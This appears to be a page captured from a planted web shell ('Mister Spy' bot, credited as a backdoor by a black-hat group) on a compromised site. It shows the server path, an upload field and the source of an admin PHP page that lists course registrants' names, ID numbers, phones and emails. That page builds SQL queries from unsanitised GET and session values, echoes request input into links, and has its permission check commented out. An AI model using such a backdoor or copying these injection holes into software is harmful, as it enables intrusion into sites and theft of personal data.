Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/cursoscicc2.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 


$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];

$maxRows_rsCursos = 10;
$pageNum_rsCursos = 0;
if (isset($_GET['pageNum_rsCursos'])) {
  $pageNum_rsCursos = $_GET['pageNum_rsCursos'];
}
$startRow_rsCursos = $pageNum_rsCursos * $maxRows_rsCursos;

mysql_select_db($database_cnx, $cnx);
$query_rsCursos = "SELECT * FROM tblCursosCicc2 ORDER BY IdCursoCicc2 DESC";
if (isset($_GET['Estado']))
{ 
	$query_rsCursos = "SELECT * FROM tblCursosCicc2 WHERE Estado = '" . $_GET['Estado'] . "' ORDER BY IdCursoCicc2 DESC";
}
$query_limit_rsCursos = sprintf("%s LIMIT %d, %d", $query_rsCursos, $startRow_rsCursos, $maxRows_rsCursos);
$rsCursos = mysql_query($query_limit_rsCursos, $cnx) or die(mysql_error());
$row_rsCursos = mysql_fetch_assoc($rsCursos); 

if (isset($_GET['totalRows_rsCursos'])) {
  $totalRows_rsCursos = $_GET['totalRows_rsCursos'];
} else {
  $all_rsCursos = mysql_query($query_rsCursos);
  $totalRows_rsCursos = mysql_num_rows($all_rsCursos);
}
$totalPages_rsCursos = ceil($totalRows_rsCursos/$maxRows_rsCursos)-1;

$queryString_rsCursos = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsCursos") == false && 
        stristr($param, "totalRows_rsCursos") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsCursos = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsCursos = sprintf("&totalRows_rsCursos=%d%s", $totalRows_rsCursos, $queryString_rsCursos);


$modulo="videos";
$nivel=$_SESSION['MM_Group'];
$sql="SELECT * FROM `niveles_permisos` WHERE `nivel` =".$nivel." AND `modulo` = '".$modulo."'";
$qry=mysql_query($sql);
$row=mysql_fetch_array($qry);
/*if($row['ver']==0){
require("cartel_permisos.php");exit;
}*/

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
	<tr>
		<td width="10" class="TituloRubro">&nbsp;</td>
		<td class="TituloRubro">&nbsp;</td>
	</tr>
	<tr>
		<td width="10">&nbsp;</td>
		<td><p class="tituloPagina">Jornada de Trabajo para Intercambio de Ideas. "Mercados reales y potenciales del Criollo"</p></td>
	</tr>
	<tr>
		<td width="10">&nbsp;</td>
		<td>&nbsp;</td>
	</tr>
	<tr>
		<td width="10">&nbsp;</td>
		<td>&nbsp;</td>
	</tr>  
</table>
<table width="90%" align="center" border="0" cellspacing="0" cellpadding="0">
	<tbody>
		<tr>
			<td height="40">
				<form id="form1" name="form1" method="get" action="cursoscicc2.php">
					<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
						<tbody>
							<tr>
								<td width="18%" height="50" valign="middle">
									<div align="right">
										<span class="tituloMenu">Buscador Avanzado:</span>&nbsp;&nbsp; 
									</div>
								</td>
								<td width="33%" valign="middle">
									<select name="Estado" id="Estado">
										<option value="">- Todos -</option>
                                        <option value="Preinscripto">Preinscripto</option>
										<option value="Inscripto">Inscripto</option>
										<option value="Baja">Baja</option>
									</select>
								</td>
								<td width="49%" valign="middle">
									<div align="left">
										<input name="Submit" type="submit" class="boton" value="Buscar">
									</div>
								</td>
							</tr>
						</tbody>
					</table>
				</form>
			</td>
		</tr>
	</tbody>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
	<tr>
		<td height="0" align="right">&nbsp;</td>
		<td height="0" align="right">&nbsp;</td>
	</tr>
	<tr>
		<td height="25" align="right">
			<a href="cursoscicc2_export.php<?= isset($_GET['Estado']) ? ('?Estado=' . $_GET['Estado']) : '' ?>">
				<img src="iconos/preview.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" />
			</a>
		</td>
		<td width="50" align="right">
			<div align="center">
				<a href="cursoscicc2_export.php<?= isset($_GET['Estado']) ? ('?Estado=' . $_GET['Estado']) : '' ?>">Exportar</a>
			</div>
		</td>
	</tr>
	<tr>
		<td height="25" align="right">
			<a href="cursoscicc2_mailing.php">
				<img src="iconos/smtp.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" />
			</a>
		</td>
		<td width="50" align="right">
			<div align="center">
				<a href="cursoscicc2_mailing.php">Mailing</a>
			</div>
		</td>
	</tr>
</table>

	<?php if($totalRows_rsCursos > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>
	  <tr>
		<td height="20" align="right" valign="top">&nbsp;
	Registros <?php echo ($startRow_rsCursos + 1) ?> a <?php echo min($startRow_rsCursos + $maxRows_rsCursos, $totalRows_rsCursos) ?> de <?php echo $totalRows_rsCursos ?> </td>
	  </tr>
</table>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
		<td height="25"><strong>&nbsp;&nbsp;Nro.</strong></td>
		<td height="50"><strong>Apellido</strong></td>
		<td height="50"><strong>Nombre</strong></td>
		<td height="50"><strong>DNI</strong></td>
		<td height="50"><strong>Estado</strong></td>
		<td height="50"><strong>Tel&eacute;fono</strong></td>
		<td height="50"><strong>Email</strong></td>
		<td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
		<td height="20">&nbsp;&nbsp;&nbsp;<?php echo $row_rsCursos['IdCursoCicc2']; ?></td>
		<td height="20"><?php echo $row_rsCursos['Apellido']; ?></td>
		<td height="20"><?php echo $row_rsCursos['Nombre']; ?></td>
		<td height="20"><?php echo $row_rsCursos['DNI']; ?></td>
		<td height="20"><?php echo $row_rsCursos['Estado']; ?></td>
		<td height="20"><?php echo $row_rsCursos['Telefono']; ?></td>
		<td height="20"><?php echo $row_rsCursos['Email']; ?></td>
		<td width="100" height="20" align="center">
		<?		 if($row['modificacion']==1){?>	
		<a href="#"></a><a href="cursoscicc2_mod.php?<?=$qry_string?>&IdCursoCicc2=<?php echo $row_rsCursos['IdCursoCicc2']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
						<?		 if($row['baja']==1){?>		
		<a href="cursoscicc2_del.php?<?=$qry_string?>&IdCursoCicc2=<?php echo $row_rsCursos['IdCursoCicc2']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
		</td>
	  
		</tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="2" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
      </tr>
	  <?php } while ($row_rsCursos = mysql_fetch_assoc($rsCursos)); ?>
</table>
	<table border="0" width="25%" align="center">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsCursos > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsCursos=%d%s", $currentPage, 0, $queryString_rsCursos); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsCursos > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsCursos=%d%s", $currentPage, max(0, $pageNum_rsCursos - 1), $queryString_rsCursos); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsCursos < $totalPages_rsCursos) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsCursos=%d%s", $currentPage, min($totalPages_rsCursos, $pageNum_rsCursos + 1), $queryString_rsCursos); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsCursos < $totalPages_rsCursos) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsCursos=%d%s", $currentPage, $totalPages_rsCursos, $queryString_rsCursos); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsCursos==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay registros disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsCursos);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat